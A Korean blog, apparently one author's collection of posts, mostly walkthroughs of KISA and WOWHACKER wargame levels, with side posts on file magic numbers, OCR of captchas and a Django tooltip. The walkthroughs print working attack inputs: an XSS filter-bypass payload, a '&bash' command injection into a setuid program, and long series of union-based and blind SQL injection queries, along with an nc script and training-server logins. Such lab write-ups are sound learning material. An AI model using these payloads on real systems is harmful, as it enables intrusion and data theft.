KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Web Level2 문제를 보면 아래와 같습니다. 


문제 제목 : 웹 개발자의 허술한 보안 코딩을 우회 하

라.


문제 설명 : 웹 어플리케이션 개발자가 XSS에 대한 보

안을 완벽히 하지 못하였다. 현재 적용된 필터링 룰을 

우회하여 XSS에 대한 취약점을 찾아 보아라.



문제 풀기를 클릭하면 다음 사이트로 이동합니다. 


http://221.143.48.110/web/level02/web_application.php




추천은 저를 춤추게 합니다 ^^



해당 사이트에 들어가니 다음과 같은 문구와 함께 입력창이 보입니다. 


웹 어플리케이션 개발자가 XSS에 대한 보안을 완벽히 하지 못하였다.

현재 적용된 필터링 룰을 우회하여 XSS에 대한 취약점을 찾아보아라.

조건) <script> 구문 이용. alert도 반드시 들어 가야됨.

EX) <script>alert('test')</script>



우선 주어진 예제 문구를 넣어봅시다. 



예상은 했지만 역시나 차단 됩니다. 



이번에는 특수 기호에 대한 필터링 기능을 확인 해보기 위해 아래처럼 변경해서 다시 시도해봅시다. 


&lt;script&gt;alert('test')&lt;/script&gt;



이번에는 차단이 되진 않지만 뭔가 다른 결과가 보여집니다. 


<>alert('test')</>


입력했던것과 비교해 보니 script라는 문자열을 필터링 하는것 같은 느낌이 드네요. 


그렇다면 script라는 문자열을 교묘하게 2번씩 써주는 방법으로 다시 시도해봅시다. 


&lt;sscriptcript&gt;alert('test')&lt;/sscriptcript&gt;


의도한 바는 XSS 필터링에 의해서 script라는 문구가 제거되고 나면 sscriptcript 처럼 동작해서 결국 script라는 문구가 남게 되는 겁니다. 


짜잔~

간단하게 XSS 보안 취약점을 찾았네요. 



이렇게 2단계는 생각보다 수월하게 풀 수 있답니다. 


Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Web Level1 문제를 보면 아래와 같습니다. 



제목 : 이것은 무엇에 쓰이는 것인고 ?


설명 : 해당 웹 사이트에 접속하여 사이트에 숨겨져 

있는 값을 찾아 인증키를 추출해 보아라~ 



문제 풀기를 클릭하면 다음 사이트로 이동합니다. 




추천은 저를 춤추게 합니다 ^^



여기저기 둘러 봐도 딱히 볼만한게 없어 보이네요. 

뭔가 참고할 만한 내용이 있는지 각 페이지의 html소스를 살펴보다 보니 뭔가 수상한 내용이 보입니다. 


product_details.html파일 입니다. 



속성이 'hidden'으로 된 'authkey'라는 이름의 값이 보이는군요. 

딱 봐도 뭔가 난독화된 코드 같다는 느낌이 드네요. 


난독화된 코드를 풀어보기 위해 적당한 사이트를 구글링을 해서 찾아봅시다. 


저는 아래 사이트를 이용했습니다. 

http://htmlobfuscator.com/


value에 해당하는 내용을 복사한 다음 윗쪽 입력 창에 붙여넣고 'obfuscate'버튼을 눌러봅시다. 

원래는 난독화를 시키기 위한 기능 같은데.. 어쨌든 하단 창에 복호화된 코드 내용이 출력됩니다. 


이제 이 내용을 실행시켜보면 됩니다. 


실행 시키는 방법은 많겠지만.. 따로 파일을 만드는게 귀찮으시다면 저처럼 w3schools사이트를 잘 활용 하시면 됩니다. 


w3schools.com 사이트에 들어가셔서 아무 메뉴나 들어가 보면 'Try it yourself'라는 버튼이 보입니다. 

소스를 입력하고 실행시키면 결과 화면을 보여주는 기능입니다. 



아래와 같은 창이 뜨고 왼쪽편 입력 창에 디코드된 자바 스크립트 코드를 붙여넣고 'Submit Code' 버튼을 누르면..


짜잔~ 실행 결과가 팝업창으로 뜹니다. 


스포일러를 할 순 없으니 키 값은 지웠습니다. ^^ 


Posted by KT한
,

네트워크(network) 분석이나 포렌직(forensic)을 하다보면 특정 포맷의 파일이 포함되어 있거나 숨겨져 있는 경우가 있습니다. 

이럴때 파일 포맷 별 매직 넘버(magic number)를 알고 있다면 좀 더 쉽게 문제를 해결 할 수 있습니다. 

모든 파일에 대해 다 알아둘 필요는 없지만 자주 사용되는 파일 포맷에 대해서는 알아두면 유용합니다. 



 파일 포맷 (extension/format) 

 시작 값 (Header)

 마지막 값 (Footer)

 JPEG

 FF D8 FF E0 00 10 4A 46 49 46 00 01 01

 

 GIF 

 47 49 46 38 39 61 4E 01 53 00 C4

 21 00 00 3B 00

 PNG

 89 50 4E 47 0D 0A 1A 0A  

 

 TIFF (TIF)

 49 49 2A 00 

 4D 4D 00 2A 

 

 DOC

  D0 CF 11 E0 A1 B1 1A E1

 57 6F 72 64 2E 44 6F 63 75 6D 65 6E 74 2E

 XLS

 D0 CF 11 E0 A1 B1 1A E1

 FE FF FF FF 00 00 00 00 00 00 00 00 57 00 6F 00 72 00 6B 00 62 00 6F 00 6F 00 6B 00

 PPT

 D0 CF 11 E0 A1 B1 1A E1

 50 00 6F 00 77 00 65 00 72 00 50 00 6F 00 69 00 6E 00 74 00 20 00 44 00 6F 00 63 00 75 00 6D 00 65 00 6E 00 74

 ZIP

 50 4B 03 04 14

 50 4B 05 06 00

 PCAP

 D4 C3 B2 A1 

 


Posted by KT한
,

이미지 파일에서 문자열을 추출하거나 captcha우회하기 위해 captcha로 부터 문자열을 추출해야 하는 경우에 이미지의 문자 상태가 양호한 편(복잡한 형태의 captcha는 안됨)이라면 간단하게 pytesser라는 라이브러리를 활용해서 문자열을 추출 할 수 있습니다. 


참고로, 우분투 12.04 버전을 기준으로 작성하였습니다. 



추천은 저를 춤추게 합니다 ^^



1. 먼저 아래의 우분투 패키지들을 설치해줍시다. 


$ sudo apt-get install libpng12-dev

$ sudo apt-get install libjpeg62-dev

$ sudo apt-get install libtiff4-dev

$ sudo apt-get install GCC

$ sudo apt-get install g++

$ sudo apt-get install automake



2. pytesser를 설치하기 위해 필요한 파일들을 각 사이트에 접속해서 다운 받아서 설치합니다. 


2.1 leptonica 를 설치합시다. (leptonica-1.69.tar.bz2)


다운로드 주소: 

 

컴파일 및 설치 명령어 

$ ./configure && make -j4 && sudo make install



2.2  Tesseract 를 설치합시다. (  tesseract-ocr-3.02.02.tar.gz)


다운로드 주소:


컴파일 및 설치 명령어 

./configure && make -j4 && sudo make install && sudo ldconfig


 

2.3  Tesseract 언어 데이터 파일을 설치합시다. ( tesseract-ocr-3.02.eng.tar.gz)

영어를 인식해서 문자열을 추출하기 위해 영어 데이터 파일을 다운 받았습니다. 


다운로드 주소:


설치:

다운 받은 파일을 압축을 풀어서 다음 폴더로 옮겨 줍시다. 


/usr/local/share/tessdata


 


2.4  pytesser를 다운 받읍시다.  ( pytesser_v0.0.1.zip )


다운로드 주소:


pythess를 사용할 폴더에서 다운 받은 파일의 압축을 풀어줍니다. 



3. 테스트  

바로 이미지 파일 디코드를 시작해도 되지만, 우선 제대로 설치 됐는지 확인해보는게 좋습니다. 


pytesser 파일의 압축을 풀어 놓은 폴더로 이동해서 테스트로 파이썬 파일을 하나 만들어서 아래와 같은 코드로 테스트 해 봅시다. 


※ 소스코드를 더블클릭하면 복사가 가능합니다. 



4. 코드 작성 및 즐기기 

위의 테스트코드가 정상적으로 동작한다면 아래와 같이 원하는 코드를 작성하셔서 사용하시면 됩니다. 



getpixel() 함수로 픽셀값을 가져오고 putpixel() 함수로 원하는 위치의 값을 변경 할 수 있습니다. 


참고로, 255가 흰색이고 0이 검은색입니다. 

위 코드는 검은색이 아닌 즉, 글씨가 아닌 부분을 하얗게 처리하기 위한 코드인거죠. 


이걸 잘 활용해서 글자에 구멍 난 부분을 메울 수 도 있겠죠? 

이미지 보정 작업을 하면 아래처럼 컴퓨터가 인식하기에 좀 더 편하게 만들어 줄 수 있답니다. 




다양한 이미지 처리 함수에 대해 알고 싶다면 아래 사이트를 참고하시면 됩니다. 

PIL 함수 참고 사이트 =>  http://effbot.org/imagingbook/image.htm



Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level2 문제를 보면 아래와 같습니다


문제 제목 : 확률 게임에서 이겨라!


문제 설명 : 확률 게임이 있다. 이 게임은 1에서 

100중 숫자를 선택하여 컴퓨터가 선택한 값과 일치 

해야 된다. 일치하면 잭팟이 터지고 SHELL을 획득

할 수 있다. 게임에서 이겨라!




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system200

접근 PW : securitypractice




추천은 저를 춤추게 합니다 ^^



접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 12

-r-sr-x---. 1 root200 system200 9424 Aug  7 00:35 system200


1번 문제와 매우 유사한 형식의 실행 파일인것을 알 수 있습니다. 


우선 파일을 실행해 봅시다. 


-bash-4.1$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :1

Failed...


기본 메뉴가 나오면 '1'을 입력해 게임을 시작할 수 있고, 1~100까지의 숫자중 하나를 입력해서 맞추는 게임이군요. 

풀이 방법은 여러가지가 있을 수 있겠지만.. 저는 brute force 방식으로 풀었습니다. 


$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :`perl -e 'print "1"x500'` 


system200 프로그램에 '1'이란 값을 500개 입력 하라는 의미입니다. 

숫자 1을 입력해서 잭팟을 시도합니다. 


확률상 100번만 시도하면 성공 할 수 있겠죠? 물론, 운이 좋다면 더 빨리 성공 할 테구요. 


한참을 시도한 끝에 숫자를 맞추게 되면 아래와 같은 메시지가 나오면서 종료됩니다. 


INPUT - -----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :!Conguraturation !!!


권한을 확인해 봅시다. 


sh-4.1$ id

uid=504(root200) gid=502(system200) groups=504(root200),502(system200) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


실제 화면을 보면 이렇습니다. 



이제 1번 문제와 동일하게 key파일에 들어 있는 내용을 읽으면 끝!


$ cat /home/root200/key


문제 출제자의 의도대로 푼게 맞는지는 모르겠지만.. 어쨌든 잘 풀리니 더 고민하지 않기로 했습니다. ^^ 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level1 문제를 보면 아래와 같습니다. 


문제 제목 : 취약한 메아리 프로그램


문제 설명 : 개발자는 메아리 프로그램을 제작 하

였다. 

허나 어설픈 보안 설정으로 해당 프로그램의 취약

점이 존재 한다. 

취약점을 찾아서 SHELL을 획득 하여라.




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system100

접근 PW : !kisa_system_gogosing~!!!



추천은 저를 춤추게 합니다 ^^




접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 8

-r-sr-x---. 1 root100 system100 7841 Dec  8  2012 system100


system100이란 파일이 있는데 파일의 사용 권한 부분을 보면 소유자의 권한은 'r-s' 입니다. 
SetUID()로 권한을 부여 했다는 말이겠죠. 
그리고, 그룹 권한은 'r-x'로 실행권한을 부여해주었네요. 

다음 필드인 소유자ID와 소유자의 그룹ID를 보면, 그룹ID는 접속해 있는 'system100'인데 소유자는 'root100'이군요. 

다시 말해서, 파일을 실행하면 root100의 권한을 얻을 수 있다는 의미가 됩니다. 


자, 실행 권한이 있는것을 확인 했으니 system100파일을 실행해봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : a

a


문제 설명에서 처럼 입력한 값을 그대로 출력해주고 바로 종료되버립니다. 

프로그램을 종료 시키지 않고 우리가 원하는 어떤 정보를 출력하도록 해야겠죠?



이번 문제에서 찾아야할 취약점은 특수 문자에 대한 예외처리가 제대로 이루어 지지 않아서 발생하는 문제점 입니다. 


linux 명령어에서 '&'는 프로세스를 백그라운드로 실행 되도록 하는 명령입니다. 

이 문자 뒤에 'bash'를 실행하도록 입력값으로 넣어봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : &bash


어떤 변화가 발생 했는지 자신의 계정 정보를 확인해봅시다. 

bash-4.1$ id
uid=503(root100) gid=501(system100) groups=503(root100),501(system100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

오호.. 권한이 'root100'이 되었군요. 

그럼 권한이 상승했으니 root100의 home 폴더에 어떤 파일이 있나 살펴봅시다. 

$ ls /home/root100/
key

파일명만 봐도 정답이 들어있는 파일이란걸 알 수 있죠. 
파일에 들어있는 내용을 입력하면 레벨 클리어~


Posted by KT한
,
Django를 기반으로 웹 개발을 할 때 특정 단어나 위치에 마우스를 가져가면 툴 팁이 떠서 지정해둔 메시지를 보며주도록 하는 기능을 개발하기 위한 설명입니다. 

작업은 크게 세 가지 파트로 구분할 수 있습니다. 


추천은 저를 춤추게 합니다 ^^



소스 다운 받기: 

tooltip.js



1. JQuery 


mouseover, mousemove, mouseout 세 가지 액션에 대해 정의해 줍니다. 


mouseover:

현재 마우스가 위치한 곳의 title 속성의 값을 가져와서 보여줍니다. 

마우스의 위치에 따라 툴 팁이 보여지는 위치가 달라지므로 css 함수를 써서 위치 정보를 가져오도록 합니다. 


mousemove:

마우스를 움직일 때 마다 툴 팁이 마우스를 따라 다니도록 마우스의 위치 값을 가져다가 툴 팁의 위치를 업데이트 해줍니다. 

mouseout:

마우스가 링크 정보가 담긴 위치를 벗어 났다면 툴 팁이 보이지 않도록 제거해 줍니다. 



2. css 


툴 팁의 배경 색깔과 폰트 등을 설정해줍니다. 



3. html 


마우스를 가져갔을 때 툴 팁을 보여주기 위한 html입니다.

DJango를 사용하고 있다면 title값은 변수로 넘겨받은 값으로 지정해주는 것도 가능합니다. 


Posted by KT한
,
해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 

WOWHACKER WEBGAME SEASON2  Level 9 풀이법입니다. 


이번 레벨은 1~7레벨과 달리 별도의 준비물이 필요합니다. 
외부에서 request 패킷을 보내오면 그 패킷에 대해 처리해주는 과정이 필요한데 이를 위해서 외부에서 내 PC로 패킷을 보내올 수 있도록 공인 IP를 할당 받아야 됩니다. 
물론, 현재 공인IP를 쓰고 있다면 한결 수월할겁니다. 
저는 공유기를 쓰고 있어서 목적지 포트가 80인 패킷에 대해  제 PC로 오도록 포트 포워딩(Port forwarding)설정을 해줬습니다. 

기본적인 준비를 마쳤다면 문제를 풀어봅시다. 


추천은 저를 춤추게 합니다 ^^




  • 1단계: 문제 의도 파악하기 

주어진 링크에 들어가면 이런 화면이 나옵니다. 

뭔가 URL을 넣으라는것 같군요. 

와우해커 웹게임 주소를 넣어봅시다. 


서버가 Apache라는 사실과 함께 아래로 다양한 URL에 대한 서버 정보가 보이네요. 
테이블을 가만 보니 DB에서 정보를 불러와서 보여주는것 같다는 느낌이 들죠?


  • 2단계: Blind SQL Injection에 대해 알아보기 

간략하게 SQL Injection과 Blind SQL Injection의 차이점을 알아보자면.. 
Blind 는 결과 값을 화면에 보여주지 않고, 결과 값이 '참(true)' 혹은 '거짓(false)' 인지만 가지고 값을 찾아내는 방법입니다. 
자세한 내용은 와우해커에 잘 설명된 문서가 있으니 참고하시면 될것 같네요. ^^ 




  • 3단계: 웹 서버 구동시키기 

이 글의 맨 아래에 보면 간단하게 실행 가능한 파이썬(Python) 웹 서버 코드를 올려뒀습니다. 
80포트로 GET 패킷이 들어오면 커맨드 라인으로 입력받은 값을 응답으로 보내주도록 한 코드입니다. 

사용 법
$ sudo python level9.py   Apache

우선, 입력값을 'Apache'라고 주고 서버를 실행 시킨 후 ..
와우해커에서 오는 목적지 포트가 80인 패킷에 대해 내 PC로 오게 해두었다는 전재하에.. 
URL에 자신의 공인 IP를 입력해봅시다. 


동일한 결과가 나오는 군요. 


실제로 Wireshark를 실행시켜서 패킷을 덤프해보면 'GET' 패킷이 들어오는것을 알 수 있습니다.



  • 4단계: schema table 탐색하기 

레벨 7의 SQL Injection과 동일하게 'INFORMATION_SCHEMA.TABLES'에서 테이블 이름을 알아내봅시다. 

참고로, 입력값에 길이 제한이 있으니 가능한 빈칸은 없게 해야 합니다. 

명령어 예제
$ sudo python level9.py   "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1)) > 100#"


SQL 명령을 주고 서버를 실행 한 후 아래와 같이 테이블에 아무내용도 나오지 않는다면 거짓(False)인 겁니다. 


만약, 아래와 같이 어떤 데이터가 나온다면 참(True)인 겁니다. 



즉, 특정 필드의 값을 알수 있다는 의미인거죠. 


처음에는 크기 비교 부등호 (>,<)를 이용해서 범위를 좁혀다가다 최종 확인은 같은지 비교하는 부등호(=) 를 써서 확인 하면 됩니다. 

아래 명령으로 테이블 이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1))=114#"  
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),2,1))=101#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),3,1))=97#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),4,1))=100#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),5,1))=109#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),6,1))=101#" 


ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'readme'라는 테이블이 존재함을 알 수 있습니다. 
물론, 다른 테이블도 존재하지만 문제와 상관없는 테이블들 이므로 무시하겠습니다. 


  • 5단계: schema column 탐색 

이번에는 'INFORMATION_SCHEMA.COLUMNS'에서 열(column)값을 알아봅시다. 

아래 명령으로 열(column)이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),1,1))=118#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),2,1))=97#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),3,1))=108#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),4,1))=117#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),5,1))=101#" 

ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'value'라는 열(column)이 존재함을 알 수 있습니다. 


  • 6단계: 키 값 찾기

database와 관련된 필요한 정보는 모두 찾았습니다.
이제 실제 키 값만 찾으면 되겠군요. 

한 글자 한 글자 찾는 과정이 노가다도 이런 노가다가 없네요.
안들려

키 값을 찾기 위해 아래와 같은 명령을 실행하면 됩니다. 

'-1\' or ascii(substr((select value from readme),1,1)) = 87#'       
'-1\' or ascii(substr((select value from readme),2,1)) = 101#'     
'-1\' or ascii(substr((select value from readme),3,1)) = 98#'        
'-1\' or ascii(substr((select value from readme),4,1)) = 71 #'      
'-1\' or ascii(substr((select value from readme),5,1)) = 97 #'       
'-1\' or ascii(substr((select value from readme),6,1)) = 109 #'    
'-1\' or ascii(substr((select value from readme),7,1)) = 101 #'     
'-1\' or ascii(substr((select value from readme),8,1)) = 73 #'        
'-1\' or ascii(substr((select value from readme),9,1)) = 115 #'     
'-1\' or ascii(substr((select value from readme),10,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),11,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),12,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),13,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),14,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),15,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),16,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),17,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),18,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),19,1)) = 70 #'      
'-1\' or ascii(substr((select value from readme),20,1)) = 117 #'    
'-1\' or ascii(substr((select value from readme),21,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),22,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  121 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  33 #'     


드디어 결과가 나왔습니다. 

오랜시간 삽질 하느라 수고하셨습니다. ^^ 
축하2


예의상 답은 스스로 알아보시라고 적지 않겠습니다~ 

  • 별첨: 파이썬(Python) 웹서버 코드 : 



Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 7 풀이법입니다. 


링크: http://webgame.wowhacker.com/AuThWithMySQL



주어진 링크를 따라 들어가봅시다. 



HTTP 인증창이 뜨는군요. 

우선 링크를 다시 보니  'Auth with MySQL' 이라고 되어 있네요. 아마도 MySQL 인증과 관련된 문제인것 같습니다. 


자! 단계별로 차근 차근 풀어봅시다.



추천은 저를 춤추게 합니다 ^^


  • 1단계: User Name 알아내기 


우선 가벼운 마음으로 guest/guest로 로그인을 시도해 봅시다. 



헐~ 그냥 로그인이 되는군요. 

흐뭇한 마음으로 내용을 살펴 봤더니 별로 의미 없는 데이터만 있는것 같군요. 

그나마 name, group, address, phone number, hitnum 같은 데이터가 들어있다는걸 참고 할 수는 있겠네요. 


우리가 알고 싶은건 guest에 대한 정보고 아니니 관리자에 대한 계정 정보를 더 찾아봅시다. 


Level5에서 했던 메소드(method)변경을 통한 인증 우회가 생각 나는군요. 

밑져야 본전이니 시도해봅시다. 


http://kthan.tistory.com/163 <-- 메소드 변경을 통한 인증 우회기법 보러가기 


'Dev HTTP Client'를 실행해서 링크 정보를 넣고  메소드를 'OPTIONS'로 변경 한 후 

'HEADERS'필드에 인증 정보를 넣어줍시다. 

인증 정보는 '계정명:비밀번호'를 base64 인코딩 한 값이 들어갑니다.  

양식은 아래와 같습니다. 


 Authorization: Basic YWRtaW46YWRtaW4K


관련 설정을 마친 후에 'Send' 아이콘을 클릭해주면 됩니다. 


'admin'이란 계정이 존재하나 봅니다. 관련 정보도 모두 보이네요. 

왠지 술술 풀리는 기분이 드는군요. 


기쁨도 잠시.. 비밀번호에 해당하는 정보는 보이지 않고 뭔가 힌트가 될만한 정보도 없어 보입니다. 


다시 한번 URL에 있던 'MySQL'이란 단어를 떠올려 봅시다. 

이 문제는 'admin' 인증을 우회하는 문제가 아니라 'SQL Injection'을 통해 뭔가를 알아내야 하는 문제인가 봅니다. 

아쉬움을 털어 버리고 본격적으로 SQL Injection을 시도해봅시다. 



  • 2단계: DB 테이블 갯수 알아내기 


먼저 1단계에서 테이블의 열(column)의 갯수가 5개 + a 정도 될것이란걸 알게 됐죠. 

하지만, 어디까지나 추측일 뿐 정확히 갯수를 알아보기 위해 아래와 같은 쿼리문을 보내봅시다. 


방법은 1단계에서와 같이 인증 정보를 Base64 인코딩을 한 후 보내면 됩니다. 


Base64 인코딩은 웹사이트에서도 가능하고 우분투(리눅스)환경에서는 아래 명령으로 간단하게 실행 할 수 있습니다. 


$ echo "text" | base64 -w 0

dGV4dAo=


다음 MySQL 명령의 숫자값을 순차적으로 증가시켜 가면서 패킷을 전송해봅시다. 


guest' order by 1#


이 명령은 'guest' 계정으로 가져온 결과값을 '1'번째 열(column)을 기준삼아 보여주라는 의미가 됩니다. 

저 숫자가 '7'이 되면 아래와 같은 오류 메시지가 나오게 됩니다. 



'7'번째 열(column)이 없어서 나온 오류입니다. 


참고로, HEADERS에 넣은 값은 아래 명령으로 구했습니다. 


$ echo "guest' order by 7#:guest" | base64 -w 0

Z3Vlc3QnIG9yZGVyIGJ5IDcjOmd1ZXN0Cg==



이제 테이블의 열(column)이 6개라는걸 알게 됐습니다. 



  • 3단계: schema table 탐색


MySQL을 사용하게 되면 'INFORMATION_SCHEMA'가 모든 테이블의 열(column)의 이름을 가지고 있습니다. 

모든 다른 테이블의 이름을 갖는 'INFORMATION_SCHEMA'의 테이블 이름은 'INFORMATION_SCHEMA.TABLES' 입니다. 

'INFORMATION_SCHEMA.TABLES'의 정보를 갖는 열(column)의 이름을 'table_name'이라고 합니다. 


먼저 이 값들을 찾아봅시다. 


여기서 부터는 쿼리문만 적겠습니다. 위에서 했던 방식데로 Base64인코딩 후 테스트 하시면 됩니다. 


"-1' union select table_name,2,3,4,5,6 from information_schema.tables limit 0,1#"


이 쿼리문의 의미를 단계별로 살펴봅시다. 


  • -1' 는 일부러 매치되는 값이 없도록 하기 위해 잘못된 값을 주는 겁니다. 
  • UNION 은 뒤에 오는 쿼리문을 실행 할 수 있도록 해주는 접속 명령어 정도로 생각하시면 됩니다. 
  • SELECT FROM 은 MySQL 기본 쿼리문으로 FROM 뒤에 오는 테이블에서 SELECT뒤에 오는 내용을 가져와서 보여줘라는 의미입니다. 
  • table_name 은 'INFORMATION_SCHEMA.TABLES'에서 테이블 명을 보여주기 위한 이름입니다. 
  • limit 은 보여줄 값을 지정해주는 명령으로 뒤에 '시작위치,표시갯수'와 같은 형식으로 표현하는게 가능합니다. 즉, '0,1'은 처음위치에서 1개의 값을 보여주라는 의미입니다. 이 옵션을 쓰지 않으면 항상 테이블의 처음 값만 보여지게 됩니다. 


이제 쿼리문을 이해 했다면 인코딩한 값으로 패킷을 날려봅시다. 


쿼리문이 화면에 나오고 'table_name'에 해당하는 값이 1번째 열(column)인 'name' 위치에 보여지는걸 확인 할 수 있습니다. 

limit의 시작위치값을 0에서 부터 순차적으로 증가시켜 가면서 다른 값들도 찾아봅시다. 


값을 정리해보면 다음과 같습니다. 

 순번

값 

 0

 CHARACTER_SETS

 1

 COLLATIONS

 2

 COLLATION_CHARACTER_SET_APPLICABILITY

 3

 COLUMNS

 4

 COLUMN_PRIVILEGES

 5

 KEY_COLUMN_USAGE

 6

 PROFILING

 7

 ROUTINES

 8

 SCHEMATA

 9

 SCHEMA_PRIVILEGES
 10 STATISTICS

 11

 TABLES

 12

 TABLE_CONSTRAINTS

 13

 TABLE_PRIVILEGES

 14

 TRIGGERS

 15

 USER_PRIVILEGES

 16

 VIEWS

 17

 keytable

 18

 user_info


우리가 관심을 가져야 할 건 맨 아래있는 'keytable'과 'user_info'입니다. 

이름만 봐도 우리가 원하는 내용이 저기에 있을것 같다는 생각이 들지 않나요? 



  • 4단계: schema column 탐색


MySQL의 모든 다른 열(column)의 이름을 갖는 'INFORMATION_SCHEMA'의 테이블을 'INFORMATION_SCHEMA.COLUMNS'라고 부릅니다. 

'INFORMATION_SCHEMA.COLUMNS'의 정보를 갖는 열(column)의 이름을 'column_name'이라고 합니다. 


3단계에서 알게된 'keytable'에 대해 'INFORMATION_SCHEMA.COLUMNS'를 구해봅시다. 


쿼리문은 다음과 같은 형식으로 하면 됩니다. 


"-1' union select column_name,2,3,4,5,6 from information_schema.columns where table_name='keytable' limit 0,1#


쿼리문의 의미를 살펴보면 


SELECT FROM WHERE 는 FROM 뒤에 오는 테이블에서 WHERE 뒤에 오는 조건에 해당에 해당되는 값 중에서 SELECT뒤에 오는 내용을 보여주라는 의미입니다. 

다른 내용은 3단계에서와 동일하므로 생략하겠습니다. 


이제 Base64로 인코딩해서 패킷을 전송해 봅시다. 


'keytable'의 첫번 째 열(column)의 값은 'no'라는걸 알 수 있습니다. 

이와 같은 방식으로 limit의 시작위치 값을 증가 시켜가면서 다른 정보도 알아봅시다. 


 순번

 값 

 1

 no 

 2 value



  • 5단계: 테이블의 값 알아보기 


지금까지 알아낸 정보들을 가지고 'keytable'에 들어있는 값들을 알아봅시다. 


값을 알아보기 위한 쿼리문 입니다. 


"-1' union select no,2,value,4,5,6 from keytable#"


쿼리문의 의미를 살펴보면

keytable에서 no와 value값을 보여주라는 의미가 됩니다. 

'no'와 'value'를 1,3 번 위치에 쓴 이유는 2번은 password로 추정되는 값이 들어가 있다보니 화면상에 보여지지 않기 때문입니다. 


이제 패킷을 전송해봅시다. 


결과 화면에 'value'에 해당하는 값이 'group'에 표시 됐네요. 


If you dream it, you can do it


이 값을 가지고 사이트에서 인증하시면 됩니다. 



  • 여담. 


매번 쿼리문을 인코딩하는게 번거롭다면 우분투(리눅스)환경에서 패킷을 전송하는 스크립트를 작성해서 하면 더욱 편리합니다. 

제가 작성해서 사용한 스크립트 입니다. 


#!/bin/bash


AUTH=$(echo "$1:$2" | base64 -w 0 )


echo -ne "OPTIONS http://webgame.wowhacker.com/AuThWithMySQL/ HTTP/1.1\r\n\

Accept: text/html, application/xhtml+xml, */*\r\n\

Accept-Language: ko-KR\r\n\

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\n\

Authorization: Basic $AUTH\r\n\

DNT: 1\r\n\

Proxy-Connection: Keep-Alive\r\n\

Pragma: no-cache\r\n\

Host: webgame.wowhacker.com\r\n\r\n" \

| nc webgame.wowhacker.com 80


간략하게 설명을 드리자면..


  • ID와 PW를 입력받아서 Base64 인코딩을 수행한 후 
  • 와이어샤크(wireshark)로 잡은 패킷을 복사해서 붙여 넣은 후 
  • 메소드(method)와 인증 정보만 수정해서
  • nc(netcat)을 사용해서 보내도록 한 겁니다. 


스크립트 실행은 계정 정보와 비밀번호를 입력값으로 주면 되구요.. 계정 정보만 입력해도 정상 동작합니다. 


$ ./level7.sh "admin' order by 1#"


Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 6 풀이법입니다. 


